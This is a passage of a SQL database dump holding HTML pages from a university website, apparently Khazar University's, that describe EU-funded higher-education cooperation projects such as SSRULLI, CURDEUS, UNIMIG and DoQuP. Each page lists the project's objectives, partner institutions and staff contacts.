as LLL Institutions','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><strong>Strengthening the Specific Role of Universities as LLL Institutions</strong></strong></p><table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>2013</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>24 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td><p>SSRULLI project aims at strengthening capacities for University Lifelong Learning in Countries of the South Caucasus</p><p>Particularly:</p><ul><li>Benchmarking potentials and development of institutional recommendations for boosting the role of PUs as LLL institutions.</li><li>Strengthening of strategic, infrastructural and human capacities in 9 partner universities as a model for the development and implementation of management of ULLL</li><li>Develop regional network as a platform for regular dialogue and information exchange on ULLL challenges and opportunities in the region</li></ul><p>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><p><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td><p><strong>Project Coordinator:</strong></p><p>&nbsp;</p><p>Ivana Javakhisvili Tbilisi State University</p><p><strong>&nbsp;</strong></p><p><strong>Partners:</strong></p><p>Karl-Franzens&nbsp;–University Graz (University of Graz), AT</p><p>Armenian Branch Office of the German Adult Education Assoc., AM</p><p>Tallinn University, EE</p><p>Apollon&nbsp;Kutateladze Tbilisi State Academy of Arts, GE</p><p>Caucasus&nbsp;International university, GE</p><p>Batumu&nbsp;State Maritime Academy, GE</p><p>BatumuShota Rustavelli State University, GE</p><p>Khazar&nbsp;University, AZ</p><p>Qafqaz&nbsp;University, AZ</p><p>Vanadzor State Pedagogical Institute after Hovh.Tumanyan ,AM</p><p>Yeravan State Linguistic University after Bryusov, AM</p><p>Adult Education Association of Georgia, GE</p><p>Institute for Int Cooperation of the German Adult Educ. Assoc., GE</p><p>Adult Education Association of Azerbaijan, Az</p><p>Universitat Hamburg, DE</p></td></tr></tbody></table><div></div></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p>Raziya Isayeva</p><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p>+994 (12) 421 79 16/ ext 207</p><p>+994 503487568</p><p>&nbsp;</p></td></tr><tr><td><strong>Project website:</strong></td><td><strong>&nbsp;</strong></td><td><a href=\"http://www.unimig.tsu.edu.ge/\">http://www.unimig.tsu.edu.ge/</a><br></td></tr></tbody></table>  <br></div>'),(1271,810,'en','Curriculum Development and Capacity Building in the field of EU studies','Curriculum Development and Capacity Building in the field of EU studies','<div><br></div><div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><div><p><strong><strong>Curriculum Development and Capacity Building in the field of EU studies</strong><br></strong></p><table><tbody><tr><td><strong>Start date:</strong></td><td>October 2012</td></tr><tr><td><strong>Duration:</strong></td><td>36 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td><p>The project on Curriculum Development and Capacity Building in EU studies (CURDEUS) aims to enhance knowledge of EU studies and promotes European dimensions of quality of education and facilitate networking between universities in the EU and Azerbaijan.</p><p>&nbsp;The project specifically aims to:</p><p>- Update the existing curriculum and establish a new curriculum in the field of EU studies in accordance with European standards;</p><p>- Develop or build teachers’ professional capacity in the field of EU Studies;</p><p>- Establish a permanent EU studies Center in Azerbaijan (at Khazar University), which will function as a resource center and think tank in this field ;</p><p>- Develop double and/or joint degree programmes in EU studies with interested institutions.</p><p>In accordance with these objectives, the main objectives, the main outcomes of the project will be as follows:</p><p>a) A new and/or harmonized curriculum in European Studies in line with European standards;</p><p>b) Increased capacity (trained professional academic staff, availability of high quality teaching materials and other resources) in the field of European Studies in Azerbaijan;</p><p>c) A European Studies Center in Azerbaijan which will ensure the sustainability of the project;</p><p>d) Develop joint degree programs in EU studies between Azerbaijani universities already offering course on the EU (Khazar University and Baku State University and European Universities having already an expertise and well established programmes&nbsp; in this field (Leiden University, the University of Lodz, the University of Lusaphone and the University of Genoa)</p>e)&nbsp;This programme will facilitate further cooperation between all involved universities and contribute to the sustainability and dissemination of project results.<p>&nbsp;</p></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>Coordinator and partners:</strong></p></td><td><p><strong>Project Coordinator:</strong></p><p><a href=\"http://www.khazar.org/v1021/\">Khazar University&nbsp;</a>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.leiden.edu/\">Leiden University</a></p><p>Academy of Management in Lodz</p><p>The Lusophone University of Humanities and Technology</p><p><a href=\"http://www.unige.it/\">University of Genoa</a></p><p><a href=\"http://www.edu.gov.az/\">The Ministry of Education of Azerbaijan Republic</a></p><p><a href=\"http://www.gsu.az/\">Ganja State University</a></p><p><a href=\"http://www.ndu.edu.az/\">Nakhchivan State University</a></p><p><a href=\"http://www.bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.bsu-edu.org/\">Baku Slavic University</a></p><p><a href=\"http://www.au.edu.az/\">Azerbaijan University</a></p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><p>Baba Bayramli</p><p><a href=\"mailto:bbayramli@khazar.org\">bbayramli@khazar.org</a></p>+994 (12) 421 79 16/ ext 238<br><br></td></tr></tbody></table></div></div>  <br></div>'),(1272,810,'az','Curriculum Development and Capacity Building in the field of EU studies','Curriculum Development and Capacity Building in the field of EU studies','<div><br></div><div><div><div><p><strong><strong>Curriculum Development and Capacity Building in the field of EU studies</strong><br></strong></p><table><tbody><tr><td><strong>Start date:</strong></td><td>October 2012</td></tr><tr><td><strong>Duration:</strong></td><td>36 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td><p>The project on Curriculum Development and Capacity Building in EU studies (CURDEUS) aims to enhance knowledge of EU studies and promotes European dimensions of quality of education and facilitate networking between universities in the EU and Azerbaijan.</p><p>&nbsp;The project specifically aims to:</p><p>- Update the existing curriculum and establish a new curriculum in the field of EU studies in accordance with European standards;</p><p>- Develop or build teachers’ professional capacity in the field of EU Studies;</p><p>- Establish a permanent EU studies Center in Azerbaijan (at Khazar University), which will function as a resource center and think tank in this field ;</p><p>- Develop double and/or joint degree programmes in EU studies with interested institutions.</p><p>In accordance with these objectives, the main objectives, the main outcomes of the project will be as follows:</p><p>a) A new and/or harmonized curriculum in European Studies in line with European standards;</p><p>b) Increased capacity (trained professional academic staff, availability of high quality teaching materials and other resources) in the field of European Studies in Azerbaijan;</p><p>c) A European Studies Center in Azerbaijan which will ensure the sustainability of the project;</p><p>d) Develop joint degree programs in EU studies between Azerbaijani universities already offering course on the EU (Khazar University and Baku State University and European Universities having already an expertise and well established programmes&nbsp; in this field (Leiden University, the University of Lodz, the University of Lusaphone and the University of Genoa)</p>e)&nbsp;This programme will facilitate further cooperation between all involved universities and contribute to the sustainability and dissemination of project results.<p>&nbsp;</p></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>Coordinator and partners:</strong></p></td><td><p><strong>Project Coordinator:</strong></p><p><a href=\"http://www.khazar.org/v1021/\">Khazar University&nbsp;</a>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.leiden.edu/\">Leiden University</a></p><p>Academy of Management in Lodz</p><p>The Lusophone University of Humanities and Technology</p><p><a href=\"http://www.unige.it/\">University of Genoa</a></p><p><a href=\"http://www.edu.gov.az/\">The Ministry of Education of Azerbaijan Republic</a></p><p><a href=\"http://www.gsu.az/\">Ganja State University</a></p><p><a href=\"http://www.ndu.edu.az/\">Nakhchivan State University</a></p><p><a href=\"http://www.bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.bsu-edu.org/\">Baku Slavic University</a></p><p><a href=\"http://www.au.edu.az/\">Azerbaijan University</a></p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><p>Baba Bayramli</p><p><a href=\"mailto:bbayramli@khazar.org\">bbayramli@khazar.org</a></p>+994 (12) 421 79 16/ ext 238<br><br></td></tr></tbody></table></div></div>  <br></div>'),(1274,811,'en',' Migration and Higher Education: Developing Skills and Capacity',' Migration and Higher Education: Developing Skills and Capacity','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><strong>UNIMIG - Migration and Higher Education: Developing Skills and Capacity</strong></strong></p><table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>October 15, 2012</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>36 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td><p>The aim of the project is to transfer skills and competences in the interdisciplinary field of migration studies in the European Neighborhood Partnership Instrument East region, specifically in Armenia, Azerbaijan and Georgia.</p><p>&nbsp;The specific objectives are:&nbsp;</p><ul><li>To develop, accredit and implement a basic curriculum for a Master Program in Migration Studies with a regional dimension in line with the Bologna requirements at Yerevan State University and Russian-Armenian University, Armenia; Khazar University and Qafqaz University, Azerbaijan; Ivane Javakhishvili Tbilisi State University and Georgia Institute for Public Affairs, Georgia.</li><li>To establish national Migration Competence Centers (MCC) at Tbilisi State University, Yerevan State University and Khazar University that will serve as interfaces among universities, research and public institutions, governments and the public. &nbsp;&nbsp;</li></ul><p>The Regional Online Platform on Migration, maintained and updated by the MCCs, is another important project output. It will support master students by providing relevant literature and data for research purposes and the setup of an e-Learning component. It will be widely used to disseminate the curriculum, publications, and statistical data produced by the MCCs, making all materials accessible to the wider public (migration officials, journalists, researchers, public institutions, civil society).</p><p>International Organization for Migration (IOM) Azerbaijan is participating in the project, primarily contributing to the development and implementation of the master’s programs in migration studies and MCCs.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>The Ministry of Education of Azerbaijan will support the accreditation procedures in Azerbaijan and participate in capacity building activities for curriculum development in line with Bologna standards with support of EU partners.<p>&nbsp;</p><ul></ul></td></tr><tr><td><p><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><p><strong>Coordinator:</strong></p><p><a href=\"http://www.tsu.edu.ge/\">Tbilisi State University</a></p><p>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.iliauni.edu.ge/\">Ilia State University</a></p><p><a href=\"http://www.ysu.am/\">Yerevan State University</a></p><p><a href=\"http://www.rau.am/\">Russian- Armenian University</a></p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University</a></p><p><a href=\"http://www.khazar.org/v1023/\">Khazar University</a></p><p><a href=\"http://www.gipa.ge/\">Georgian Institute of Public Affairs</a>&nbsp;</p><p><a href=\"http://www.uni-graz.at/\">Karl-Franzens University of Graz</a></p><p><a href=\"http://www.ulb.ac.be/\">Free University Brussels</a></p><p><a href=\"http://www.uni-oldenburg.de/en/\">Carl von Ossietzky University Oldenburg</a></p><p><a href=\"http://www.ua.es/\">University of Alicante</a></p><p><a href=\"http://www.wus-austria.org/\">World University Service- Austrian Committee</a></p><p><a href=\"http://www.mta.gov.am/\">State Migration Service of the Ministry of Territorial Administration of Republic of Armenia</a></p><p><a href=\"http://www.edu.gov.az/\">Ministry of Education of Azerbaijan</a></p><p><a href=\"http://www.iom.int/\">International Organization for Migration (IOM)</a></p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p>Leyla Niyazova, Project Coordinator and Director of Khazar University Migration Competence Center</p><p><a href=\"mailto:lniyazova@khazar.org\">lniyazova@khazar.org</a></p><p>+994 012 421 7916 ext. 234</p></td></tr><tr><td><strong>Project website:</strong></td><td><strong>&nbsp;</strong></td><td><a href=\"http://www.unimig.tsu.edu.ge/\">http://www.unimig.tsu.edu.ge/</a></td></tr></tbody></table>  <br></div>'),(1276,812,'az','Development of Training Network for Improving Education in Energy Efficiency','Development of Training Network for Improving Education in Energy Efficiency','<div><br></div><div><br></div>'),(1277,813,'az','Student Support and Development Services','Student Support and Development Services','<div><br></div><div><p><strong>Student Support and Development Services</strong></p><table><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>October, 2012</td></tr><tr><td><strong>Duration:</strong></td><td>24 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td><p>The project aims to establish in target Higher Education Institutions (HEIs) from Georgia, Kazakhstan, Kirgizstan, Azerbaijan, Israel advanced and up-dated services to students and alumni according to the best European practices, able to meet the challenges of a globalised world. This objective will be achieved by enhancing human resource capacity and infrastructures.</p><p>After an analysis of the needs and constrains, 30 staff members of partner countries (PC) universities will travel to the European Union for a two- week study visits in order to share experience and know- how for planning and administering services support for Career planning, Student Life Services, Academic guidance, and Orientation, Mentoring and mobility.&nbsp; The competence acquired will be discussed and disseminated in the countries in order to design an Action Plan and start the pilot organization of services in&nbsp; each target university. &nbsp;After the six month pilot stage, All Higher Education Institutions (HEIs) will share the results&nbsp; and present case studies for the identification of the models that best fit with the organizational and decisional local situation. Training &nbsp;sessions and additional workshops &nbsp;will be organized by the EU representatives to assist PC universities in designing and proposing strategic plans and future development of Student Support and Development Services. (SSDS)&nbsp;</p>The project will also develop a website that will not only be used by the partnership for the project results development and assessment, but will also offer, in local languages and in English, all the documents, as student surveys methodology tools, reports, training materials, handbooks and case studies for a wide dissemination of project aims and the results and the involvement of students, relevant stakeholders from all the countries involved. The project evaluation and the direct involvement of student s will provide the opportunity for a better focus on the Action Plan, develop the quality culture and put the basis for a continuous international cooperation for the up-date and improvement &nbsp;of the strategy and methodology and the start-up of further future activities.<p>&nbsp;</p><ul></ul></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>Coordinator and partners:</strong></p></td><td><p><strong>Coordinator:</strong></p><p><a href=\"http://www.univaq.it/\">Universita’ Degli Studi Dell’Aqulia</a></p><p>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.mdx.ac.uk/\">Middlesex University</a></p><p>Fondazione dell’ Universiteta degli Studi</p><p><a href=\"http://www.bsu.edu.az/\">Baku State University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.khazar.org/v1019/\">Khazar University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University&nbsp;</a></p><p><a href=\"http://www.bsu.edu.ge/\">Shota Rustaveli University&nbsp;</a>&nbsp; &nbsp;</p><p><a href=\"http://www.atsu.edu.ge/\">Akaki Tsereteli State University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.iliauni.edu.ge/\">Ilia State University&nbsp;</a>&nbsp;</p><p>Issykkul State University named after Kasym Tynystanov</p><p>Talas State University</p><p>Kyrgyz State Technical University named after I. R. Azzakov</p><p>Kazakh National Agrarian University</p><p>West Kazakhstan Agrarian Technical University</p><p>Akhmet Baitursynov Kostanay State University</p><p><a href=\"https://www.msu.edu/\">Students Alliance of Kazakhstan</a></p><p><a href=\"http://www.sapir.ac.il/\">Sapir Academic College&nbsp;</a></p><p><a href=\"http://www.bgu.ac.il/\">Ben Gurion University of the Negev&nbsp;</a>&nbsp;</p><p><a href=\"http://www.sapir.ac.il/\">SAPIR’s student unions&nbsp;</a>&nbsp;</p><p>Public Association “Managers of New Generation”</p><p><a href=\"http://www.atgti.az/en/\">Azerbaijan Student Youth Organizations’ Union&nbsp;</a>&nbsp;</p><p><a href=\"http://www.tlu.ee/\">Tallina Ülikool&nbsp;</a>&nbsp;</p><p><a href=\"http://www.usv.ro/\">“Stefan cel Mare” University of Suceava&nbsp;</a>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p>Raziya Isayeva,</p><p>&nbsp;Development Director</p>+994 (12) 421 79 16/ ext 207</td></tr></tbody></table>  <br></div>'),(1278,813,'en','Student Support and Development Services','Student Support and Development Services','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Student Support and Development Services</strong></p><table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>October, 2012</td></tr><tr><td><strong>Duration:</strong></td><td>24 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td><p>The project aims to establish in target Higher Education Institutions (HEIs) from Georgia, Kazakhstan, Kirgizstan, Azerbaijan, Israel advanced and up-dated services to students and alumni according to the best European practices, able to meet the challenges of a globalised world. This objective will be achieved by enhancing human resource capacity and infrastructures.</p><p>After an analysis of the needs and constrains, 30 staff members of partner countries (PC) universities will travel to the European Union for a two- week study visits in order to share experience and know- how for planning and administering services support for Career planning, Student Life Services, Academic guidance, and Orientation, Mentoring and mobility.&nbsp; The competence acquired will be discussed and disseminated in the countries in order to design an Action Plan and start the pilot organization of services in&nbsp; each target university. &nbsp;After the six month pilot stage, All Higher Education Institutions (HEIs) will share the results&nbsp; and present case studies for the identification of the models that best fit with the organizational and decisional local situation. Training &nbsp;sessions and additional workshops &nbsp;will be organized by the EU representatives to assist PC universities in designing and proposing strategic plans and future development of Student Support and Development Services. (SSDS)&nbsp;</p>The project will also develop a website that will not only be used by the partnership for the project results development and assessment, but will also offer, in local languages and in English, all the documents, as student surveys methodology tools, reports, training materials, handbooks and case studies for a wide dissemination of project aims and the results and the involvement of students, relevant stakeholders from all the countries involved. The project evaluation and the direct involvement of student s will provide the opportunity for a better focus on the Action Plan, develop the quality culture and put the basis for a continuous international cooperation for the up-date and improvement &nbsp;of the strategy and methodology and the start-up of further future activities.<p>&nbsp;</p><ul></ul></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>Coordinator and partners:</strong></p></td><td><p><strong>Coordinator:</strong></p><p><a href=\"http://www.univaq.it/\">Universita’ Degli Studi Dell’Aqulia</a></p><p>&nbsp;</p><p><strong>Partners:</strong></p><p><a href=\"http://www.mdx.ac.uk/\">Middlesex University</a></p><p>Fondazione dell’ Universiteta degli Studi</p><p><a href=\"http://www.bsu.edu.az/\">Baku State University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.khazar.org/v1019/\">Khazar University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University&nbsp;</a></p><p><a href=\"http://www.bsu.edu.ge/\">Shota Rustaveli University&nbsp;</a>&nbsp; &nbsp;</p><p><a href=\"http://www.atsu.edu.ge/\">Akaki Tsereteli State University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.iliauni.edu.ge/\">Ilia State University&nbsp;</a>&nbsp;</p><p>Issykkul State University named after Kasym Tynystanov</p><p>Talas State University</p><p>Kyrgyz State Technical University named after I. R. Azzakov</p><p>Kazakh National Agrarian University</p><p>West Kazakhstan Agrarian Technical University</p><p>Akhmet Baitursynov Kostanay State University</p><p><a href=\"https://www.msu.edu/\">Students Alliance of Kazakhstan</a></p><p><a href=\"http://www.sapir.ac.il/\">Sapir Academic College&nbsp;</a></p><p><a href=\"http://www.bgu.ac.il/\">Ben Gurion University of the Negev&nbsp;</a>&nbsp;</p><p><a href=\"http://www.sapir.ac.il/\">SAPIR’s student unions&nbsp;</a>&nbsp;</p><p>Public Association “Managers of New Generation”</p><p><a href=\"http://www.atgti.az/en/\">Azerbaijan Student Youth Organizations’ Union&nbsp;</a>&nbsp;</p><p><a href=\"http://www.tlu.ee/\">Tallina Ülikool&nbsp;</a>&nbsp;</p><p><a href=\"http://www.usv.ro/\">“Stefan cel Mare” University of Suceava&nbsp;</a>&nbsp;</p><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><p><a href=\"mailto:risayeva@khazar.org\">risayeva@khazar.org</a></p><p>Raziya Isayeva,</p><p>&nbsp;Development Director</p>+994 (12) 421 79 16/ ext 207</td></tr></tbody></table>  <br></div>'),(1279,814,'en','Documentation for Quality Assurance of Study Programmes','Documentation for Quality Assurance of Study Programmes','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><strong>Documentation for Quality Assurance of Study Programmes</strong></strong></p><table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>November 15, 2011</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>36 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td><p>A clear documentation of learning objectives, educational process, learning context, learning outcomes and management system is an essential and necessary aspect of the Quality Assurance (QA) of Study Programmes (SPs).</p><p>The project aims to define and to implement an online documentation system for the QA of SPs in the Partner Countries (PCs), consistent with the European Standards and Guidelines for QA. This aim is pursued through the cooperation of all the project partners, national authorities included.</p><p>A primary outcome of the project is the identification of information and data for QA of SPs in PCs. To this end, national standards for QA, or “quality requirements,” of SPs are identified and analyzed, also in order to verify and promote their compliance with the European Standards and Guidelines.</p><p>Information and data associated with each quality requirement and related management processes necessary to “measure” the quality of SPs are identified; procedures for their collection and documentation are defined. Then the needed university facilities for the collection and documentation of the identified information and data are organized and the software for their online management is designed and produced.</p><p>Implementation of procedures, facilities and software constitute the final outcome and output of the project.</p><p>Dissemination is primarily aimed at informing and involving all the Higher Education Institutions of the PCs of the project objectives, activities &amp; results, and is based on the following 2 main actions:</p><p>i) dissemination through Internet and distribution of material on the project activities and results;</p>ii) organization of events on the project activities and results.<ul></ul></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><p>&nbsp;</p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.unige.it/\">University of Genoa</a></p><p>&nbsp;</p><p>28 partners from 8 countries are involved in the DoQuP project.</p><p><strong>Partners:</strong></p><p><strong>Azerbaijan</strong></p><p><a href=\"http://bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.khazar.org/v1024/\">Khazar University</a></p><p><a href=\"http://amu.edu.az/\">Azerbaijan Medical University</a></p><p><a href=\"http://www.edu.gov.az/\">Ministry of Education of Azerbaijan</a></p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.oyu.edu.az/\">Odlar Yurdu University</a></p><p><strong>Kyrgyz Republic</strong></p><p><a href=\"http://www.bafe.edu.kg/\">Bishkek Academy of Finance and Economics</a></p><p><a href=\"http://www.ednet.edu.kg/\">Education Network Association</a></p><p><a href=\"http://edu.gov.kg/\">Ministry of Education and Science of Kyrgyz Republic</a></p><p><a href=\"http://www.university.kg/\">Kyrgyz National University n.a. J. Balasagyn</a></p><p><a href=\"http://www.nsu.ktnet.kg/\">Naryn State University</a></p><p><strong>Kazakhstan</strong></p><p><a href=\"http://www.enu.kz/\">Eurasian National University n.a. L. Gumilyov</a></p><p><a href=\"http://www.iqaa.kz/\">Independent Kazakhstan Quality Assurance Agency in Education</a></p><p><a href=\"http://www.ablaikhan.kz/\">Kazakh Ablai Khan University for Int\'l Relations &amp; World Lang.</a></p><p><a href=\"http://www.kazntu.kz/en/node/829\">Kazakh National Technical University n.a. K.I. Satpaev</a></p><p><a href=\"http://www.edu.gov.kz/en\">Ministry of Education and Science of Republic of Kazakhstan</a></p><p><a href=\"http://www.naric.kz/\">National Centre for Assessing Quality of Education</a></p><p><a href=\"http://www.kazgasa.kz/\">Kazakh Leading Academy of Architecture and Civil Engineering</a></p><p><strong>Tajikistan</strong></p><p><a href=\"http://www.tut.tj/\">Ministry of Education of Republic of Tajikistan</a></p><p><a href=\"http://www.dsx.tj/general_info.htm\">Tajik Institute of Entrepreneurship and Services</a></p><p><a href=\"http://tnu.tj/index.php/en\">Tajik National University</a></p><p><a href=\"http://www.tut.tj/\">Technological University of Tajikistan</a></p><p><strong>Germany</strong></p><p><a href=\"http://www.wip.wiwi.uni-due.de/en/\">Universitat Duisburg - Essen</a></p><p><strong>Spain</strong></p><p><a href=\"http://www.ua.es/en\">Universidad de Alicante</a></p><p><strong>Slovakia</strong></p><p><a href=\"http://www.stuba.sk/english.html?page_id=132\">Slovak University of Technology in Bratislava</a></p><p><strong>Italy</strong></p><p><a href=\"http://www.cineca.it/en\">Consorzio Inter-Universitario Calcolo Automatico Italiano N.O.</a></p><a href=\"http://www.crui.it/english/\">Conference of Italian University Rectors</a><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p>Lyudmila Sotova, Head of Quality Assurance Center</p><p><a href=\"mailto:lsotova@khazar.org\">lsotova@khazar.org</a></p>+994 012 421 7916 (ext. 211)&nbsp;</td></tr><tr><td><strong>Useful links:</strong></td><td><strong>&nbsp;</strong></td><td><p><a href=\"http://www.enqa.eu/\">European Association for Quality Assurance in Higher Education</a></p><a href=\"http://www.ecaconsortium.net/\">ECA - European Consortium for Accreditation</a></td></tr><tr><td><strong>Project website:</strong></td><td>&nbsp;</td><td><a href=\"http://tempus-doqup.unige.it/\">DoQuP project website</a></td></tr></tbody></table>  <br></div>'),(1280,814,'az','Documentation for Quality Assurance of Study Programmes','Documentation for Quality Assurance of Study Programmes','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><strong>Documentation for Quality Assurance of Study Programmes</strong></strong></p><table style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td><p><strong>Start Date:</strong></p></td><td>&nbsp;</td><td>November 15, 2011</td></tr><tr><td><strong>Duration:</strong></td><td><strong>&nbsp;</strong></td><td>36 months</td></tr><tr><td><p><strong>Brief information and main objectives:</strong></p></td><td>&nbsp;</td><td><p>A clear documentation of learning objectives, educational process, learning context, learning outcomes and management system is an essential and necessary aspect of the Quality Assurance (QA) of Study Programmes (SPs).</p><p>The project aims to define and to implement an online documentation system for the QA of SPs in the Partner Countries (PCs), consistent with the European Standards and Guidelines for QA. This aim is pursued through the cooperation of all the project partners, national authorities included.</p><p>A primary outcome of the project is the identification of information and data for QA of SPs in PCs. To this end, national standards for QA, or “quality requirements,” of SPs are identified and analyzed, also in order to verify and promote their compliance with the European Standards and Guidelines.</p><p>Information and data associated with each quality requirement and related management processes necessary to “measure” the quality of SPs are identified; procedures for their collection and documentation are defined. Then the needed university facilities for the collection and documentation of the identified information and data are organized and the software for their online management is designed and produced.</p><p>Implementation of procedures, facilities and software constitute the final outcome and output of the project.</p><p>Dissemination is primarily aimed at informing and involving all the Higher Education Institutions of the PCs of the project objectives, activities &amp; results, and is based on the following 2 main actions:</p><p>i) dissemination through Internet and distribution of material on the project activities and results;</p>ii) organization of events on the project activities and results.<ul></ul></td></tr><tr><td><p><strong>&nbsp;</strong></p><p><strong>Coordinator and partners:</strong></p></td><td>&nbsp;</td><td><p>&nbsp;</p><p><strong>Coordinator:</strong></p><p><a href=\"http://www.unige.it/\">University of Genoa</a></p><p>&nbsp;</p><p>28 partners from 8 countries are involved in the DoQuP project.</p><p><strong>Partners:</strong></p><p><strong>Azerbaijan</strong></p><p><a href=\"http://bsu.edu.az/\">Baku State University</a></p><p><a href=\"http://www.khazar.org/v1024/\">Khazar University</a></p><p><a href=\"http://amu.edu.az/\">Azerbaijan Medical University</a></p><p><a href=\"http://www.edu.gov.az/\">Ministry of Education of Azerbaijan</a></p><p><a href=\"http://www.qu.edu.az/\">Qafqaz University&nbsp;</a>&nbsp;</p><p><a href=\"http://www.oyu.edu.az/\">Odlar Yurdu University</a></p><p><strong>Kyrgyz Republic</strong></p><p><a href=\"http://www.bafe.edu.kg/\">Bishkek Academy of Finance and Economics</a></p><p><a href=\"http://www.ednet.edu.kg/\">Education Network Association</a></p><p><a href=\"http://edu.gov.kg/\">Ministry of Education and Science of Kyrgyz Republic</a></p><p><a href=\"http://www.university.kg/\">Kyrgyz National University n.a. J. Balasagyn</a></p><p><a href=\"http://www.nsu.ktnet.kg/\">Naryn State University</a></p><p><strong>Kazakhstan</strong></p><p><a href=\"http://www.enu.kz/\">Eurasian National University n.a. L. Gumilyov</a></p><p><a href=\"http://www.iqaa.kz/\">Independent Kazakhstan Quality Assurance Agency in Education</a></p><p><a href=\"http://www.ablaikhan.kz/\">Kazakh Ablai Khan University for Int\'l Relations &amp; World Lang.</a></p><p><a href=\"http://www.kazntu.kz/en/node/829\">Kazakh National Technical University n.a. K.I. Satpaev</a></p><p><a href=\"http://www.edu.gov.kz/en\">Ministry of Education and Science of Republic of Kazakhstan</a></p><p><a href=\"http://www.naric.kz/\">National Centre for Assessing Quality of Education</a></p><p><a href=\"http://www.kazgasa.kz/\">Kazakh Leading Academy of Architecture and Civil Engineering</a></p><p><strong>Tajikistan</strong></p><p><a href=\"http://www.tut.tj/\">Ministry of Education of Republic of Tajikistan</a></p><p><a href=\"http://www.dsx.tj/general_info.htm\">Tajik Institute of Entrepreneurship and Services</a></p><p><a href=\"http://tnu.tj/index.php/en\">Tajik National University</a></p><p><a href=\"http://www.tut.tj/\">Technological University of Tajikistan</a></p><p><strong>Germany</strong></p><p><a href=\"http://www.wip.wiwi.uni-due.de/en/\">Universitat Duisburg - Essen</a></p><p><strong>Spain</strong></p><p><a href=\"http://www.ua.es/en\">Universidad de Alicante</a></p><p><strong>Slovakia</strong></p><p><a href=\"http://www.stuba.sk/english.html?page_id=132\">Slovak University of Technology in Bratislava</a></p><p><strong>Italy</strong></p><p><a href=\"http://www.cineca.it/en\">Consorzio Inter-Universitario Calcolo Automatico Italiano N.O.</a></p><a href=\"http://www.crui.it/english/\">Conference of Italian University 